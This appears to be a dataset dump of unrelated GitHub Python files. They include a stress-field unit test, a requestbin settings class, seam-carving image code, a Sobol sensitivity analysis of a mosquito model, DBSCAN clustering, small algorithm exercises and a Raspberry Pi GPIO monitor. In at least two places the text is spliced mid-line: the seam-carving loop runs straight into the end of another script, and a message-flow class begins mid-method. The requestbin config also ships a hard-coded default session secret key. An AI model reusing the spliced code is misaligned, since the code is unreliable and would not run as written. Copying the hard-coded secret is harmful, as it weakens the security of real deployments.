equal_nan=True)\n\n # Assert evaluations for sample3\n sample3_values = [1.05, 1.04, 1.03, 1.02, 1.01, 1.0,\n 1.091, 1.08, 1.06, 1.07,\n float('nan'), float('nan'), float('nan'), float('nan')]\n assert allclose_with_sorting(sample3.values, sample3_values, equal_nan=True)\n\n\ndef test_stack_scalar_field_samples(field_sample_collection,\n approx_with_sorting, assert_almost_equal_with_sorting, allclose_with_sorting):\n r\"\"\"Stack three scalar fields\"\"\"\n # test stacking with the 'common' mode\n sample1 = ScalarFieldSample(*field_sample_collection['sample1'])\n sample2 = ScalarFieldSample(*field_sample_collection['sample2'])\n sample3 = ScalarFieldSample(*field_sample_collection['sample3'])\n sample1, sample2, sample3 = stack_scalar_field_samples(sample1, sample2, sample3, stack_mode='common')\n\n for sample in (sample1, sample2, sample3):\n assert len(sample) == 6\n assert_almost_equal_with_sorting(sample.x, [5.0, 4.0, 3.003, 2.003, 1.003, 0.003])\n\n # Assert evaluations for sample1\n sample1_values = [1.05, 1.04, 1.03, 1.02, 1.01, 1.0]\n assert allclose_with_sorting(sample1.values, sample1_values)\n # Assert evaluations for sample2\n sample2_values = [1.12, 1.11, 1.1, 1.091, 1.081, 1.071]\n assert allclose_with_sorting(sample2.values, sample2_values)\n # Assert evaluations for sample3\n sample3_values = [1.05, 1.04, 1.03, 1.02, 1.01, 1.0]\n assert allclose_with_sorting(sample3.values, sample3_values)\n\n # test stacking with the 'complete' mode\n sample1 = ScalarFieldSample(*field_sample_collection['sample1'])\n sample2 = ScalarFieldSample(*field_sample_collection['sample2'])\n sample3 = ScalarFieldSample(*field_sample_collection['sample3'])\n sample1, sample2, sample3 = stack_scalar_field_samples(sample1, sample2, sample3, stack_mode='complete')\n\n for sample in (sample1, sample2, sample3):\n assert len(sample) == 14\n approx_with_sorting(sample.x,\n [5.0, 4.0, 3.003, 2.003, 1.003, 0.003, 9.0, 8.0, 6.0, 7.0, 9.011, 8.011, 6.011, 7.011])\n\n # Assert evaluations for sample1\n sample1_values = [1.05, 1.04, 1.03, 1.02, 1.01, 1.0,\n 1.09, 1.08, 1.06, 1.07,\n float('nan'), float('nan'), float('nan'), float('nan')]\n assert allclose_with_sorting(sample1.values, sample1_values, equal_nan=True)\n\n # Assert evaluations for sample2\n sample2_values = [1.12, 1.11, 1.1, 1.091, 1.081, 1.071,\n float('nan'), float('nan'), float('nan'), float('nan'),\n 1.16, 1.15, 1.13, 1.14]\n assert allclose_with_sorting(sample2.values, sample2_values, equal_nan=True)\n\n # Assert evaluations for sample3\n sample3_values = [1.05, 1.04, 1.03, 1.02, 1.01, 1.0,\n 1.091, 1.08, 1.06, 1.07,\n float('nan'), float('nan'), float('nan'), float('nan')]\n assert allclose_with_sorting(sample3.values, sample3_values, equal_nan=True)\n\n\ndef test_stress_field_from_files(test_data_dir):\n HB2B_1320_PROJECT = os.path.join(test_data_dir, 'HB2B_1320.h5')\n YOUNG = 200.\n POISSON = 0.3\n\n # create 3 strain objects\n sample11 = StrainField(HB2B_1320_PROJECT)\n sample22 = StrainField(HB2B_1320_PROJECT)\n sample33 = StrainField(HB2B_1320_PROJECT)\n # create the stress field (with very uninteresting values\n stress = StressField(sample11, sample22, sample33, YOUNG, POISSON)\n\n # confirm the strains are unchanged\n for direction in DIRECTIONS:\n stress.select(direction)\n np.testing.assert_allclose(stress.strain.values,\n sample11.peak_collections[0].get_strain(units='microstrain')[0],\n atol=1, err_msg=f'strain direction {direction}')\n\n # calculate the values for stress\n strains = sample11.peak_collections[0].get_strain(units='microstrain')[0]\n stress_exp = strains + POISSON * (strains + strains + strains) / (1. - 2. * POISSON)\n stress_exp *= YOUNG / (1. + POISSON)\n\n # since all of the contributing strains are identical, everything else should match\n for direction in DIRECTIONS:\n stress.select(direction)\n np.testing.assert_equal(stress.point_list.coordinates, sample11.point_list.coordinates)\n np.testing.assert_allclose(stress.values, to_megapascal(stress_exp), atol=1,\n err_msg=f'stress direction {direction}')\n\n stress11 = stress.stress11.values\n print(stress11)\n assert np.all(np.logical_not(np.isnan(stress11))) # confirm something was set\n\n # redo the calculation - this should change nothing\n stress.update_stress_calculation()\n np.testing.assert_equal(stress.stress11.values, stress11)\n\n # set the d-reference and see that the values are changed\n stress.set_d_reference((42., 0.))\n assert np.all(stress.stress11.values != stress11)\n\n\nif __name__ == '__main__':\n pytest.main()\n","repo_name":"neutrons/PyRS","sub_path":"tests/unit/pyrs/dataobjects/test_fields.py","file_name":"test_fields.py","file_ext":"py","file_size_in_byte":94967,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"18500188629","text":"\"\"\"Class global configs.\"\"\"\n\nimport re\nimport os\nfrom urllib.parse import urlparse\nfrom pydantic import BaseSettings, SecretStr\n\n\nclass GlobalConfigs(BaseSettings):\n \"\"\"Class global configs.\"\"\"\n\n version = \"v0.0.1\"\n log_level : str = os.getenv(\"LOG_LEVEL\", \"DEBUG\")\n log_format_json: bool = os.getenv(\"LOG_FORMAT_JSON\", False)\n debug : bool = os.getenv(\"DEBUG\", True)\n enable_cors : bool = os.getenv(\"DEBUG\", False)\n bin_ttl_default : int= os.getenv(\"BIN_TTL_DEFAULT\", 172800) # 48*3600\n max_requests : int = os.getenv(\"MAX_REQUESTS\", 20)\n cleanup_interval : int = os.getenv(\"CLEANUP_INTERVAL\", 3600)\n port_number : int = os.getenv(\"PORT_NUMBER\", 8000)\n bugsnag_key : SecretStr = os.getenv(\"BUGSNAG_KEY\", \"\")\n cors_origins : str = os.getenv(\"CORS_ORIGINS\", \"*\")\n redis_host :str = os.getenv(\"REDIS_HOST\",\"localhost\")\n redis_port:int = os.getenv(\"REDIS_PORT\",6379)\n redis_password : SecretStr = os.getenv(\"REDIS_PASSWORD\", \"\")\n redis_db :int= os.getenv(\"REDIS_DB\", 0)\n redis_prefix :str= os.getenv(\"REDIS_PREFIX\", \"requestbin\")\n flask_session_secret_key : SecretStr= os.getenv(\n \"FLASK_SESSION_SECRET_KEY\",\n \"N1BKhJLnBqLpexOZdklsfDKFJDKFadsfs9a3r324YB7B73AglRmrHMDQ9RhXz35\"\n ) \n max_raw_size :int= os.getenv(\"MAX_RAW_SIZE\", 10240)\n realm = os.getenv(\"REALM\", \"prod\")\n bin_ttl : int= os.getenv(\"BIN_TTL\", bin_ttl_default)\n # storage_backend = \"requestbin.storage.memory.MemoryStorage\"\n storage_backend = \"requestbin.storage.redis.RedisStorage\"\n ignore_headers = \"\"\"\nX-Varnish\nX-Forwarded-For\nX-Heroku-Dynos-In-Use\nX-Request-Start\nX-Heroku-Queue-Wait-Time\nX-Heroku-Queue-Depth\nX-Real-Ip\nX-Forwarded-Proto\nX-Via\nX-Forwarded-Port\nCf-Visitor\nCf-Ray\nCf-Ipcountry\nCf-Connecting-Ip\nX-Forwarded-Host\nX-Forwarded-Server\n\"\"\".split(\n \"\\n\"\n )[\n 1:-1\n ]\n secrets: list = []\n\n def get_secrets_list(self) -> list:\n if not self.secrets:\n self.secrets = []\n for i in self:\n if bool(isinstance(i[1], SecretStr)):\n if len(i[1].get_secret_value()) > 0:\n self.secrets.append(i[1])\n return self.secrets\n\n def delete_secrets(self, msg: str) -> str:\n secrets = self.get_secrets_list()\n for secret in secrets:\n msg = re.sub(secret.get_secret_value(), '******', msg)\n return msg\n","repo_name":"OldTyT/requestbin","sub_path":"requestbin/models/configs.py","file_name":"configs.py","file_ext":"py","file_size_in_byte":2395,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"30928634227","text":"import numpy\nimport cv2\n\n# this exercise references \"Seam Carving for Content-Aware Image Resizing\" by Avidan and Shamir\n\nnumpyInput = cv2.imread(filename='./samples/seam.png', flags=cv2.IMREAD_COLOR).astype(numpy.float32) / 255.0\n\n# implement content-aware image resizing to reduce the width of the image by one-hundred pixels\n\n# using a heuristic energy function to extract an energy map\n\nnumpyEnergy = numpy.abs(cv2.Sobel(src=cv2.cvtColor(src=numpyInput, code=cv2.COLOR_BGR2GRAY), ddepth=-1, dx=1, dy=0, ksize=3, scale=1, delta=0.0, borderType=cv2.BORDER_DEFAULT)) \\\n\t\t\t+ numpy.abs(cv2.Sobel(src=cv2.cvtColor(src=numpyInput, code=cv2.COLOR_BGR2GRAY), ddepth=-1, dx=0, dy=1, ksize=3, scale=1, delta=0.0, borderType=cv2.BORDER_DEFAULT))\n\n\n\n\ndef findMinSeam(CEnergyMap):\n\tiseam=[]\n\tmincol = numpy.argmin(CEnergyMap[CEnergyMap.shape[0]-1, :])\n\tiseam.append(mincol)\n\tk=mincol\n\tfor row in reversed(range(0,CEnergyMap.shape[0]-1)):\n\t\t#Find the minimum value at the top row and use the column value to find the seam.\n\t\tif mincol == 0:\n\t\t\tminval = min(CEnergyMap[row - 1, mincol], CEnergyMap[row - 1, mincol + 1])\n\t\t\tif (minval == CEnergyMap[row - 1, mincol + 1]):\n\t\t\t\t\tk=mincol + 1\n\t\tif mincol == CEnergyMap.shape[1]-1:\n\t\t\tminval=min(CEnergyMap[row - 1, mincol - 1], CEnergyMap[row - 1, mincol])\n\t\t\tif (minval == CEnergyMap[row - 1, mincol - 1]):\n\t\t\t\tk=mincol - 1\n\t\t\t#iseam.append(mincol)\n\t\tif mincol > 0 and mincol < CEnergyMap.shape[1]-1:\n\t\t\tminval = min(CEnergyMap[row - 1, mincol - 1], CEnergyMap[row - 1, mincol], CEnergyMap[row - 1, mincol + 1])\n\t\t\tif(minval== CEnergyMap[row - 1, mincol - 1]):\n\t\t\t\tk=mincol-1\n\t\t\tif minval == CEnergyMap[row-1, mincol+1]:\n\t\t\t\tk=mincol+1\n\t\tmincol=k\n\t\tiseam.append(mincol)\n\treturn iseam\n\n\nfor intRemove in range(100):\n\t# find and remove one-hundred vertical seams, can potentially be slow\n\tCEnergyMap = numpy.array(numpyEnergy, copy=True)\n\n\t# Update each value of the cEnergyMap, except ignoring corner cases.\n\n\tfor intX in range(1, CEnergyMap.shape[0]):\n\t\tfor intY in range(CEnergyMap.shape[1]):\n\t\t\tif intY==0:\n\t\t\t\tCEnergyMap[intX, intY] = numpyEnergy[intX, intY] + min(CEnergyMap[intX - 1, intY],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t CEnergyMap[intX - 1, intY + 1])\n\t\t\tif intY==CEnergyMap.shape[1]-1:\n\t\t\t\tCEnergyMap[intX, intY] = numpyEnergy[intX, intY] + min(CEnergyMap[intX - 1, intY - 1],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t CEnergyMap[intX - 1, intY])\n\t\t\tif intY>0 and intY\")\n sys.exit(1)\n\n json_file = sys.argv[1]\n if not os.path.exists(json_file):\n print(f\"file '{json_file}' does not exist\")\n sys.exit(2)\n\n main(org, net, json_file)","repo_name":"AureliusAtilius/ENAUTO_scripts","sub_path":"6/6.3/build_portals.py","file_name":"build_portals.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"35634603615","text":"from SALib.sample import sobol as sobol_sample\nfrom SALib.analyze import sobol as sobol_run\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n# read in parameter files\ntotal_param_file = 'Toronto_Total_integration_output_2005_2019.csv'\nactive_param_file = 'Toronto_Active_integration_output_2005_2019.csv'\nactive_df = pd.read_csv(f'{active_param_file}')\ntotal_df = pd.read_csv(f'{total_param_file}')\n\n# transform K_s to K_a\ntotal_df['K_a'] = total_df['K_s']/total_df['K']\nactive_df['K_a'] = active_df['K_s']/active_df['K']\n\n# find time length for total population\ntotal_df['start_date'] = pd.to_datetime(total_df['start_date'])\ntotal_df['start DOY'] = total_df['start_date'].dt.dayofyear\ntotal_df['end_date'] = pd.to_datetime(total_df['end_date'])\ntotal_df['end DOY'] = total_df['end_date'].dt.dayofyear\nt_length = total_df['end DOY'].max() - total_df['start DOY'].min()\n\n#%% load LLM functions\n\ndef compute_r_and_K(rb, rs, Kb, Ks, t):\n r = rb - rs*np.cos(2*np.pi*(t)/365)\n #K = Kb - Ks*np.cos(2*np.pi*(t)/365)\n K = Kb * (1 - Ks*np.cos(2*np.pi*(t)/365))\n return (r,K)\n\ndef logistic_model(r, K, S):\n dS = r*S*(1- S/K)\n return dS\n\ndef RK4(x0, delta_t, params, t):\n # total number of steps = 1/(step size)\n n = int((1/delta_t)*len(t))\n\n # create a vector for S\n S = np.zeros(int(n))\n \n # extract parameter components from input \n rb, rs, Kb, Ks = params\n \n # assign initial condition to first element of S\n S[0] = x0\n \n for i in np.arange(0,n-1):\n # compute r and K for time step t_i\n t_i = i*delta_t\n r1, K1 = compute_r_and_K(rb, rs, Kb, Ks, t_i)\n \n # compute k1\n k1 = delta_t*logistic_model(r1, K1, S[i])\n \n # compute r and K for time step t_i + (delta_t)/2\n r23, K23 = compute_r_and_K(rb, rs, Kb, Ks, t_i + (delta_t)/2)\n \n # compute k2\n k2 = delta_t*logistic_model(r23, K23, S[i] + k1/2)\n \n # compute k3\n k3 = delta_t*logistic_model(r23, K23, S[i] + k2/2)\n \n # compute r and K for time step t_i + (delta_t)/2\n r4, K4 = compute_r_and_K(rb, rs, Kb, Ks, t_i + (delta_t))\n\n # compute k4\n k4 = delta_t*logistic_model(r4, K4, S[i] + k3)\n \n # new computed numerical value\n comp_value = S[i] + (k1 + 2*k2 + 2*k3 + k4)/6\n \n # if new computed value exceeds the max possible\n # carrying capacity, set it equal to the previous value\n # This avoids the risk of exceeding carrying capacity\n #if comp_value <= Kb + Ks:\n if comp_value <= Kb + Kb*Ks:\n S[i+1] = comp_value\n else:\n S[i+1] = S[i] \n return S\n\ndef run_LLM(t, init_params):\n \n # step size\n delta_t = 1\n \n # logistic link model simulation\n model = RK4(init_params[4], delta_t, tuple(init_params[0:4]), t)\n return model\n\n#%% generate Sobol samples and run model\n\n# define inputs for each population\ninput_total = {\n 'num_vars': 5,\n 'names' : ['rb', 'rs', 'Kb', 'Ka', 'x0'],\n 'bounds' : [[total_df['r'].min(), total_df['r'].max()], \n [total_df['r_s'].min(), total_df['r_s'].max()], \n [total_df['K'].min(), total_df['K'].max()], \n [total_df['K_a'].min(), 0.9],\n [total_df['init_cond'].min(), total_df['init_cond'].max()]]}\n# note that for total population, upper bound of K_a must be restricted to 0.9 to avoid sampling numerically unstable parameter combinations\n\ninput_active = {\n 'num_vars': 5,\n 'names' : ['rb', 'rs', 'Kb', 'Ka', 'x0'],\n 'bounds' : [[active_df['r'].min(), active_df['r'].max()], \n [active_df['r_s'].min(), active_df['r_s'].max()], \n [active_df['K'].min(), active_df['K'].max()], \n [active_df['K_a'].min(), active_df['K_a'].max()],\n [active_df['init_cond'].min(), active_df['init_cond'].max()]]}\n\n# define time array for each population\nt_total = np.arange(t_length)\nt_active = np.arange(300)\n\n# get samples\nsample_size = 2**10 # sobol sampling must be a power of 2\ntotal_samples = sobol_sample.sample(input_total, sample_size, seed=1)\nactive_samples = sobol_sample.sample(input_active, sample_size, seed=1)\n\n# run LLM model for each sample\nY_total = np.array([run_LLM(t_total, params) for params in total_samples])\nY_active = np.array([run_LLM(t_active, params) for params in active_samples])\n\n# verify that simulated samples produce numerically stable outputs\ndef plot_simulations():\n fig, axs = plt.subplots(nrows = 1, ncols = 2, figsize = (20,10), dpi = 300)\n ftsz = 20\n for i in np.arange(sample_size):\n plt.sca(axs[0])\n plt.plot(t_total, Y_total[i], color = 'grey')\n plt.sca(axs[1])\n plt.plot(t_active, Y_active[i], color = 'grey')\n \n plt.sca(axs[0])\n plt.plot(t_total, np.mean(Y_total, axis = 0), color = 'black', linewidth = 3, label = 'Mean')\n plt.title('Total Population', fontsize = ftsz)\n plt.ylabel('Adult Female Mosquitoes', fontsize = ftsz)\n\n plt.sca(axs[1])\n plt.plot(t_active, np.mean(Y_active, axis = 0), color = 'black', linewidth = 3, label = 'Mean')\n plt.title('Active Population', fontsize = ftsz)\n plt.ylabel('Average Adult Female Mosquitoes per Trap', fontsize = ftsz)\n\n for i in [0,1]:\n plt.sca(axs[i])\n plt.xlabel('Time (Days)', fontsize = ftsz)\n plt.xticks(fontsize = ftsz)\n plt.yticks(fontsize = ftsz)\n plt.legend(fontsize = ftsz)\n plt.show()\n\nplot_simulations()\n\n#%% run Sobol sensitivity\n# quantities of interest: peak magnitude (max) and peak timing (peak)\n\nmag_total = np.max(Y_total, axis = 1)\nmag_active = np.max(Y_active, axis = 1)\n\ntime_total = np.argmax(Y_total, axis = 1)\ntime_active = np.argmax(Y_active, axis = 1)\n\nSi_mag_total = sobol_run.analyze(input_total, mag_total, print_to_console = True)\nSi_mag_active = sobol_run.analyze(input_active, mag_active, print_to_console = True)\n\nSi_time_total = sobol_run.analyze(input_total, time_total, print_to_console = True)\nSi_time_active = sobol_run.analyze(input_active, time_active, print_to_console = True)\n\n# generate bar plots\nS1_mag_total = Si_mag_total['S1']\nST_mag_total = Si_mag_total['ST']\nS1_mag_active = Si_mag_active['S1']\nST_mag_active = Si_mag_active['ST']\n\nS1_time_total = Si_time_total['S1']\nST_time_total = Si_time_total['ST']\nS1_time_active = Si_time_active['S1']\nST_time_active = Si_time_active['ST']\n\nbarWidth = 0.45\nbar_total = np.arange(len(S1_mag_total))\nbar_active = [x + barWidth for x in bar_total]\n \n# Make the plots\nftsz = 15\nfig, axs = plt.subplots(nrows = 1, ncols = 2, sharey = True, figsize =(16, 8), dpi = 300)\nplt.sca(axs[0])\nplt.bar(bar_total, S1_mag_total, width = barWidth,\n edgecolor ='grey', label = 'Total')\nplt.bar(bar_active, S1_mag_active, width = barWidth,\n edgecolor ='grey', label = 'Active')\nplt.title('First Order Effects', fontsize = ftsz)\nplt.xticks([r + barWidth/2 for r in range(len(S1_mag_total))],\n [r'$r_b$', r'$r_s$', r'$K_b$', r'$K_a$', r'$P(0)$'], fontsize = ftsz)\nplt.ylabel('Sobol Sensitivity Index for Peak Magnitude', fontsize = ftsz)\nplt.yticks(fontsize = ftsz)\nplt.legend(fontsize = ftsz)\nplt.ylim([0, 0.6])\n\nplt.sca(axs[1])\nplt.bar(bar_total, ST_mag_total - S1_mag_total, width = barWidth,\n edgecolor ='grey', label = 'Total')\nplt.bar(bar_active, ST_mag_active - S1_mag_active, width = barWidth,\n edgecolor ='grey', label = 'Active')\n\nplt.title('Interaction Order Effects', fontsize = ftsz)\nplt.xticks([r + barWidth/2 for r in range(len(S1_mag_total))],\n [r'$r_b$', r'$r_s$', r'$K_b$', r'$K_a$', r'$P(0)$'], fontsize = ftsz)\nplt.yticks(fontsize = ftsz)\nplt.legend(fontsize = ftsz)\nplt.show()\n\nfig, axs = plt.subplots(nrows = 1, ncols = 2, sharey = True, figsize =(16, 8), dpi = 300)\nplt.sca(axs[0])\nplt.bar(bar_total, S1_time_total, width = barWidth,\n edgecolor ='grey', label = 'Total')\nplt.bar(bar_active, S1_time_active, width = barWidth,\n edgecolor ='grey', label = 'Active')\n\nplt.title('First Order Effects', fontsize = ftsz)\nplt.xticks([r + barWidth/2 for r in range(len(S1_mag_total))],\n [r'$r_b$', r'$r_s$', r'$K_b$', r'$K_a$', r'$P(0)$'], fontsize = ftsz)\nplt.ylabel('Sobol Sensitivity Index for Peak Timing', fontsize = ftsz)\nplt.yticks(fontsize = ftsz)\nplt.legend(fontsize = ftsz)\nplt.ylim([0, 0.8])\n\nplt.sca(axs[1])\nplt.bar(bar_total, ST_time_total - S1_time_total, width = barWidth,\n edgecolor ='grey', label = 'Total')\nplt.bar(bar_active, ST_time_active - S1_time_active, width = barWidth,\n edgecolor ='grey', label = 'Active')\n\nplt.title('Interaction Order Effects', fontsize = ftsz)\nplt.xticks([r + barWidth/2 for r in range(len(S1_mag_total))],\n [r'$r_b$', r'$r_s$', r'$K_b$', r'$K_a$', r'$P(0)$'], fontsize = ftsz)\nplt.yticks(fontsize = ftsz)\nplt.legend(fontsize = ftsz)\nplt.show()\n","repo_name":"lanl/NALM-Pub","sub_path":"LLM_sensitivity_for_pub.py","file_name":"LLM_sensitivity_for_pub.py","file_ext":"py","file_size_in_byte":8877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31543132323","text":"import numpy as np\nimport pandas as pd\nimport os\nimport sys\nimport matplotlib.pyplot as plt\n\nnp.random.seed(0)\n\nclass DBSCAN:\n\n def __init__(self,data,n,eps,minPts):\n self.data = data\n self.NumberOfCluster = n\n self.eps = eps\n self.minPts = minPts\n self.cluster = np.zeros(self.data.shape[0]).reshape(self.data.shape[0])\n self.checked = np.zeros(self.data.shape[0]).reshape(self.data.shape[0])\n\n def countdistance(self,point):\n # 모든 점과 밀도를 계산하는 한 점 사이의 거리를 계산하고 점을 기준으로 반경 안에 얼마나 점이 있는지 계산하는 메소드\n minus = self.data[:,1:3] - point\n distance = (minus[:,0]**2 + minus[:,1]**2)**0.5\n count = np.less_equal(distance,self.eps)\n return np.sum(count), count\n\n def unionCluster(self,clusterNumber):\n _index = self.cluster == clusterNumber\n candidate = self.data[_index]\n for i in range(candidate.shape[0]):\n (count,index) = self.countdistance(candidate[i,1:3])\n cluster = self.cluster[index]\n if count >= self.minPts:\n for j in range(count):\n if cluster[j] != clusterNumber:\n self.cluster[_index] = cluster[j]\n return 1\n else :\n continue\n return 0\n\n def plot(self):\n unique_labels = set(model.cluster)\n colors = [plt.cm.gist_rainbow(each) for each in np.linspace(0, 1, len(unique_labels))]\n plt.figure(figsize=[8, 8])\n model.data = pd.DataFrame(model.data)\n for cluster_index, col in zip(unique_labels, colors):\n if cluster_index == -1:\n col = [0, 0, 0, 1]\n class_mask = (model.cluster == cluster_index)\n plt.plot(model.data.values[class_mask][:, 1], \n model.data.values[class_mask][:, 2], \n 'o', markerfacecolor=tuple(col), markeredgecolor=tuple(col), \n markersize=1)\n\n def expanding(self,candidate,clusterNumber):\n # 특정 점들을 받아드려서, cluster인지 아닌지 확인하는 메소드\n row = candidate.shape[0]\n for i in range(row):\n if self.checked[int(candidate[i,0])] == 1:\n continue\n (count,index) = self.countdistance(candidate[i,1:3])\n self.checked[int(candidate[i,0])] = 1\n if count >= self.minPts:\n self.cluster[index] = clusterNumber\n \n def checking(self,clusterNumber):\n # 특정 클러스터의 모든 점을 조사하여 더 이상 확장이 불가능하다고 판단하면, 빈 배열을 반환, 확장 가능하면 고려해야 할 점들을 반환\n cluster = (self.cluster == clusterNumber)\n index = np.logical_and(cluster,(np.logical_not(self.checked)))\n return self.data[index]\n \n def training(self):\n # expanding 메소드와 checking 메소드를 활용하여 clustering 하는 메소드\n clusterNumber = 1\n while True:\n\n i = np.random.randint(0,self.data.shape[0])\n \n while self.checked[i] != 0:\n i = np.random.randint(0,self.data.shape[0])\n\n self.checked[i] = 1\n \n (count,index) = self.countdistance(self.data[i,1:3])\n\n if count >= self.minPts:\n\n if np.sum(self.cluster[index]) == 0:\n\n self.checked[int(self.data[i,0])] = 1\n self.cluster[index] = clusterNumber\n candidate = self.checking(clusterNumber)\n \n while candidate.size != 0:\n self.expanding(candidate,clusterNumber)\n candidate = self.checking(clusterNumber)\n\n if clusterNumber != 1 and self.unionCluster(clusterNumber):\n clusterNumber -= 1\n \n else :\n print(\"cluster\",clusterNumber,\"is done!\")\n clusterNumber += 1\n \n if np.sum(self.checked) == self.data.shape[0]:\n counts = list()\n for j in range(1,clusterNumber+1):\n counts.append(np.sum(self.cluster == j))\n \n while len(counts) != self.NumberOfCluster:\n minimum = min(counts)\n idx = counts.index(minimum)\n self.cluster[self.cluster == idx + 1] = 0\n counts.pop(idx)\n self.data = self.data[self.cluster != 0]\n self.cluster = self.cluster[self.cluster != 0]\n break\n\n return self.cluster\n \n\n\ndir = os.getcwd()\n\ncommand = sys.argv\n\ntry :\n if len(command) != 5:\n raise Exception(\"명령어가 잘못 입력되었습니다.\")\nexcept Exception as e:\n print(\"명령어를 문법에 맞게 사용하여 주세요. ex. clustering.py input1.txt 8 15 22\")\n exit()\n\nInputfile = os.path.join(dir,command[1])\nn = int(command[2])\neps = int(command[3])\nminPts = int(command[4])\nOutputfile = command[1][:-4]+\"_cluster_\"\n\n# read Input file\nInput = pd.read_csv(Inputfile,sep=\"\\t\",header=None).to_numpy()\n\nmodel = DBSCAN(Input,n,eps,minPts)\nmodel.training()\n\n# write result\nfor i in range(0,n):\n fileName = Outputfile+str(i)+\".txt\"\n clusterData = model.data[model.cluster == i+1]\n clusterData = np.array(clusterData[:,0],dtype=np.int64)\n clusterData = pd.DataFrame(clusterData)\n path = os.path.join(dir,fileName)\n clusterData.to_csv(path,index=False,header=None)","repo_name":"ChanHoLee275/DataScienceProject","sub_path":"project3/clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":5691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70115683043","text":"import collections\nclass Solution:\n def fourSum(self, nums, target: int):\n size = len(nums)\n dic = collections.defaultdict(list)\n for i in range(size):\n for j in range(i + 1, size):\n sum = nums[i] + nums[j]\n dic[sum].append([i,j])\n\n results = []\n for i in range(size):\n for j in range(i + 1, size):\n sum = target-nums[i]-nums[j]\n for comb in dic[sum]:\n if len(set(tuple(comb) + (i,j))) == len(tuple(comb) + (i,j)):\n results.append([nums[comb[0]], nums[comb[1]], nums[i], nums[j]])\n\n proned = []\n for result in results:\n if not sorted(result) in proned:\n proned.append(sorted(result))\n return proned\n\ns = Solution()\nprint(s.fourSum([1,0,-1,0,-2,2],0))","repo_name":"ilkercankaya/LeetCodeAndHackerRankSolutions","sub_path":"LeetCode/Medium/18.4Sum.py","file_name":"18.4Sum.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"2606966478","text":"def cuboid_diff(a, b):\n if len(a) > 3 or len(b) > 3:\n return('The length of one or both of the lists are more than 3')\n else:\n vol_a = int(a[0] * a[1] * a[2])\n vol_b = int(b[0] * b[1] * b[2])\n if vol_a > vol_b:\n return('The difference in volumes is {}'.format(vol_a - vol_b))\n elif vol_b > vol_a:\n return('The difference in volumes is {}'.format(vol_b - vol_a))\n else:\n return('The volumes are the same and the differece is 0')\n\n\na = [2, 7, 4]\nb = [2, 3, 5]\nprint(cuboid_diff(a, b))\n","repo_name":"CharlesOkafor91/Difference-between-Volumes-of-Two-Cuboids","sub_path":"cuboid_diff_func.py","file_name":"cuboid_diff_func.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40562979521","text":"#!/usr/bin/env python3\n\"\"\"\nCreated on 26 Nov 2018\n\n@author: Keith.Gough\n\nGPIO Monitor - Checks to see if a button connected to GPIOx has been pushed.\nIf it has been pushed then we play the train delay announcements.\n\nWe set the internal pullup on the GPIO and then setup button to pull low.\n\n25/11/2019\nEdited to comply with PEP8 (pylint).\n\n\"\"\"\nimport time\nimport logging\n\nfrom RPi import GPIO # @UnresolvedImport\n\nfrom home_monitor import Voice\n\nLOGGER = logging.getLogger(__name__)\n\nGPIO_CHANNEL = 4\nMIN_BUTTON_PRESS_DURATION = 0.15\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(GPIO_CHANNEL, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n\n# GPIO.setup(25, GPIO.OUT, initial=GPIO.LOW)\n# GPIO.add_event_detect(4, GPIO.FALLING, callback=my_callback, bouncetime=200)\n\n\ndef my_callback(_, voice_strings):\n \"\"\"RPi.GPIO Callback\n\n First unused parameter above is required by RPi.GPIO to work\n GPIO.add_event_detect passes channel as first parameter\n \"\"\"\n timeout = time.time() + MIN_BUTTON_PRESS_DURATION\n # Ignore glitches. Button press must be > MIN_BUTTON_PRESS_DURATION\n button_count = 0\n while time.time() < timeout:\n if GPIO.input(GPIO_CHANNEL):\n button_count += 1\n else:\n button_count = 0\n if button_count >= 10:\n print(\"Button press\")\n # voice_strings = load_voice_strings(TRAIN_DELAY_STRINGS)\n voice_strings.play()\n time.sleep(0.01)\n\n\ndef main(voice_strings):\n \"\"\"Main Program\"\"\"\n # Attach the callback function. Note the debounce value\n\n # event_detect always passes channel as the first parameter so even if we\n # don't user channel we must allow it to be passed...\n # cb = lambda channel, arg1=valueToPass: functionToCall(arg1)\n callback = lambda channel, vs=voice_strings: my_callback(channel, vs)\n\n GPIO.add_event_detect(GPIO_CHANNEL,\n GPIO.RISING,\n callback=callback,\n bouncetime=2000)\n\n while True:\n time.sleep(100)\n\n\nif __name__ == \"__main__\":\n VOICE_STRINGS = Voice()\n VOICE_STRINGS.strings = ['This is a test.']\n logging.basicConfig(level=logging.DEBUG)\n main(VOICE_STRINGS)\n","repo_name":"krgough/homeMonitor","sub_path":"home_monitor/gpio_monitor.py","file_name":"gpio_monitor.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24108956857","text":"# -*- coding: utf-8 -*-\n\nfrom Tkinter import *\nimport t3\n\n\n\ndef xin():\n global root\n a = t3.xiangsidu()\n k = 0\n while (k 0:\n self.__update_flow_record(flow_record, retry)\n\n def __extract_flow_name_from_msg(self, msg_dict):\n if msg_dict.get('data') and msg_dict['data'].get('status'):\n return msg_dict['data']['status']\n return self.default_flow\n\n\n# message based distributed flow\nclass MBDFlow:\n def __init__(self, flow_data):\n self.flows = flow_data['flows']\n self.receive_message_flows = [f for f in self.flows if f['type'] == MBDFlowType.RECEIVE_MESSAGE]\n self.send_message_flows = [f for f in self.flows if f['type'] == MBDFlowType.SEND_MESSAGE]\n self.dependencies = flow_data['dependencies']\n\n 